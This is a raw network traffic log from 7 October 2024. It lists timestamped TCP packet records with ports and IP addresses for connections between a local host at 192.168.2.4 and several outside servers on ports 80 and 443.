Oct 7, 2024 03:23:07.988809109 CEST	49801	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:07.988871098 CEST	443	49801	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:07.989368916 CEST	49801	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:07.989383936 CEST	443	49801	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:07.991425991 CEST	80	49788	185.215.113.43	192.168.2.4
Oct 7, 2024 03:23:07.991514921 CEST	49788	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:23:07.991617918 CEST	80	49804	185.215.113.43	192.168.2.4
Oct 7, 2024 03:23:07.991698980 CEST	49804	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:23:07.991817951 CEST	49804	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:23:07.996651888 CEST	80	49804	185.215.113.43	192.168.2.4
Oct 7, 2024 03:23:08.000870943 CEST	443	49802	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:08.001204014 CEST	49802	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:08.001220942 CEST	443	49802	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:08.001667976 CEST	49802	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:08.001678944 CEST	443	49802	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:08.036448956 CEST	443	49800	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:08.036514997 CEST	443	49800	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:08.036782980 CEST	49800	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:08.036782980 CEST	49800	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:08.036968946 CEST	49800	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:08.036988974 CEST	443	49800	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:08.039829016 CEST	49805	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:08.039865971 CEST	443	49805	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:08.040019989 CEST	49805	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:08.040086031 CEST	443	49799	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:08.040163994 CEST	443	49799	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:08.040203094 CEST	49799	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:08.040230989 CEST	49805	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:08.040241003 CEST	443	49805	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:08.040302038 CEST	49799	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:08.040319920 CEST	443	49799	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:08.040330887 CEST	49799	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:08.040338039 CEST	443	49799	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:08.042867899 CEST	49806	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:08.042876959 CEST	443	49806	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:08.042990923 CEST	49806	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:08.043118954 CEST	49806	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:08.043129921 CEST	443	49806	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:08.089476109 CEST	443	49801	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:08.089632988 CEST	443	49801	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:08.089690924 CEST	49801	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:08.089782000 CEST	49801	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:08.089817047 CEST	443	49801	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:08.089843035 CEST	49801	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:08.089858055 CEST	443	49801	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:08.096877098 CEST	49807	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:08.096903086 CEST	443	49807	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:08.096966982 CEST	49807	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:08.097105026 CEST	49807	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:08.097116947 CEST	443	49807	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:08.104604959 CEST	443	49802	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:08.104669094 CEST	443	49802	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:08.104717970 CEST	49802	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:08.104789972 CEST	49802	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:08.104789972 CEST	49802	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:08.104808092 CEST	443	49802	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:08.104827881 CEST	443	49802	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:08.106421947 CEST	49808	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:08.106461048 CEST	443	49808	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:08.106631041 CEST	49808	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:08.106771946 CEST	49808	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:08.106789112 CEST	443	49808	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:08.124840975 CEST	443	49803	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:08.125557899 CEST	49803	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:08.125567913 CEST	443	49803	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:08.126086950 CEST	49803	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:08.126091957 CEST	443	49803	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:08.224865913 CEST	443	49803	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:08.224967957 CEST	443	49803	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:08.225018024 CEST	49803	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:08.225114107 CEST	49803	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:08.225127935 CEST	443	49803	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:08.225157976 CEST	49803	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:08.225163937 CEST	443	49803	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:08.227412939 CEST	49809	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:08.227442026 CEST	443	49809	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:08.227505922 CEST	49809	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:08.227663040 CEST	49809	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:08.227669001 CEST	443	49809	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:08.703869104 CEST	80	49804	185.215.113.43	192.168.2.4
Oct 7, 2024 03:23:08.703933954 CEST	49804	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:23:08.704778910 CEST	443	49805	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:08.705373049 CEST	49805	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:08.705424070 CEST	443	49805	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:08.705871105 CEST	49805	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:08.705888987 CEST	443	49805	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:08.708033085 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:08.712976933 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:08.713052034 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:08.713150024 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:08.718049049 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:08.720649958 CEST	443	49806	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:08.721016884 CEST	49806	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:08.721034050 CEST	443	49806	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:08.721559048 CEST	49806	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:08.721569061 CEST	443	49806	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:08.742877960 CEST	443	49808	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:08.743535042 CEST	49808	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:08.743550062 CEST	443	49808	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:08.744071960 CEST	49808	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:08.744077921 CEST	443	49808	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:08.763519049 CEST	443	49807	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:08.764168978 CEST	49807	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:08.764204025 CEST	443	49807	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:08.764611006 CEST	49807	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:08.764621973 CEST	443	49807	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:08.807481050 CEST	443	49805	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:08.807646036 CEST	443	49805	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:08.807718992 CEST	49805	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:08.807985067 CEST	49805	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:08.807985067 CEST	49805	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:08.808032990 CEST	443	49805	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:08.808062077 CEST	443	49805	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:08.810929060 CEST	49811	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:08.810981989 CEST	443	49811	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:08.811072111 CEST	49811	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:08.811204910 CEST	49811	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:08.811227083 CEST	443	49811	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:08.827564001 CEST	443	49806	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:08.827641010 CEST	443	49806	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:08.827702999 CEST	49806	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:08.827888966 CEST	49806	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:08.827888966 CEST	49806	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:08.827904940 CEST	443	49806	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:08.827929974 CEST	443	49806	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:08.830035925 CEST	49812	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:08.830060005 CEST	443	49812	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:08.830115080 CEST	49812	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:08.830218077 CEST	49812	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:08.830226898 CEST	443	49812	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:08.847917080 CEST	443	49808	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:08.847989082 CEST	443	49808	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:08.848165989 CEST	49808	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:08.850425005 CEST	49813	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:08.850430012 CEST	49808	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:08.850430012 CEST	49808	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:08.850455999 CEST	443	49808	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:08.850472927 CEST	443	49813	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:08.850481033 CEST	443	49808	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:08.850544930 CEST	49813	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:08.850681067 CEST	49813	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:08.850697994 CEST	443	49813	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:08.860826015 CEST	49724	80	192.168.2.4	199.232.210.172
Oct 7, 2024 03:23:08.865562916 CEST	443	49809	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:08.865911961 CEST	49809	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:08.865957022 CEST	443	49809	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:08.866164923 CEST	443	49807	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:08.866292000 CEST	80	49724	199.232.210.172	192.168.2.4
Oct 7, 2024 03:23:08.866305113 CEST	443	49807	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:08.866353035 CEST	49724	80	192.168.2.4	199.232.210.172
Oct 7, 2024 03:23:08.866377115 CEST	49807	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:08.866471052 CEST	49807	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:08.866502047 CEST	443	49807	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:08.866503000 CEST	49809	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:08.866522074 CEST	443	49809	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:08.866528034 CEST	49807	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:08.866544962 CEST	443	49807	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:08.868730068 CEST	49814	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:08.868742943 CEST	443	49814	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:08.868819952 CEST	49814	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:08.868941069 CEST	49814	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:08.868954897 CEST	443	49814	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:09.077963114 CEST	443	49809	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:09.078078985 CEST	443	49809	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:09.078138113 CEST	49809	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:09.078291893 CEST	49809	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:09.078314066 CEST	443	49809	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:09.078346014 CEST	49809	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:09.078353882 CEST	443	49809	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:09.081414938 CEST	49815	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:09.081429958 CEST	443	49815	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:09.081509113 CEST	49815	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:09.081674099 CEST	49815	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:09.081677914 CEST	443	49815	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:09.457201958 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.457281113 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.457328081 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.457346916 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.457390070 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.457401037 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.457411051 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.457458973 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.457470894 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.457515955 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.457519054 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.457566977 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.457750082 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.457798004 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.457811117 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.457844019 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.457848072 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.457890987 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.457890987 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.457935095 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.462841988 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.462889910 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.462904930 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.462929964 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.462935925 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.462980032 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.497684956 CEST	443	49813	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:09.497731924 CEST	443	49812	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:09.498169899 CEST	49813	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:09.498192072 CEST	443	49813	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:09.498250961 CEST	49812	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:09.498275042 CEST	443	49812	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:09.498653889 CEST	49813	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:09.498661995 CEST	443	49813	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:09.498898983 CEST	49812	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:09.498903990 CEST	443	49812	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:09.504374027 CEST	443	49811	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:09.504718065 CEST	49811	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:09.504776955 CEST	443	49811	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:09.505196095 CEST	49811	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:09.505211115 CEST	443	49811	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:09.518155098 CEST	443	49814	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:09.518440008 CEST	49814	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:09.518455982 CEST	443	49814	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:09.518824100 CEST	49814	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:09.518831015 CEST	443	49814	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:09.589591980 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.589613914 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.589745998 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.589776039 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.589823961 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.589833021 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.589840889 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.589884996 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.590173006 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.590182066 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.590219975 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.590240955 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.590279102 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.590282917 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.590286970 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.590310097 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.590322971 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.590678930 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.590737104 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.590745926 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.590754986 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.590789080 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.590992928 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.591036081 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.591044903 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.591054916 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.591088057 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.591092110 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.591101885 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.591128111 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.591142893 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.591861963 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.591871023 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.591880083 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.591917992 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.591938972 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.591948032 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.591964960 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.591964960 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.591995955 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.594552994 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.594599962 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.594609022 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.594619036 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.594628096 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.594628096 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.594646931 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.594655037 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.597327948 CEST	443	49813	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:09.597414970 CEST	443	49813	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:09.597461939 CEST	49813	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:09.597603083 CEST	49813	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:09.597621918 CEST	443	49813	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:09.597636938 CEST	49813	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:09.597645044 CEST	443	49813	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:09.599153042 CEST	443	49812	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:09.599205017 CEST	443	49812	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:09.599251986 CEST	49812	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:09.599348068 CEST	49812	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:09.599363089 CEST	443	49812	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:09.599374056 CEST	49812	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:09.599378109 CEST	443	49812	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:09.600573063 CEST	49816	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:09.600651979 CEST	443	49816	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:09.600725889 CEST	49816	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:09.600841999 CEST	49816	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:09.600861073 CEST	443	49816	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:09.601290941 CEST	49817	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:09.601353884 CEST	443	49817	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:09.601423025 CEST	49817	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:09.601505995 CEST	49817	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:09.601524115 CEST	443	49817	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:09.610253096 CEST	443	49811	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:09.610404968 CEST	443	49811	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:09.610467911 CEST	49811	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:09.610513926 CEST	49811	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:09.610533953 CEST	443	49811	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:09.610547066 CEST	49811	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:09.610553980 CEST	443	49811	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:09.613064051 CEST	49818	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:09.613086939 CEST	443	49818	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:09.613174915 CEST	49818	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:09.613347054 CEST	49818	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:09.613368034 CEST	443	49818	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:09.616699934 CEST	443	49814	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:09.616767883 CEST	443	49814	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:09.616818905 CEST	49814	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:09.616977930 CEST	49814	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:09.616991043 CEST	443	49814	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:09.617002964 CEST	49814	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:09.617011070 CEST	443	49814	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:09.619297981 CEST	49819	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:09.619328976 CEST	443	49819	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:09.619467020 CEST	49819	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:09.619594097 CEST	49819	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:09.619622946 CEST	443	49819	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:09.722331047 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.722368956 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.722409010 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.722419024 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.722438097 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.722461939 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.722465992 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.722500086 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.722508907 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.722531080 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.722542048 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.722563982 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.722585917 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.722594976 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.722599983 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:09.722626925 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:09.722645998 CEST	49810	80	192.168.2.4	185.215.113.103
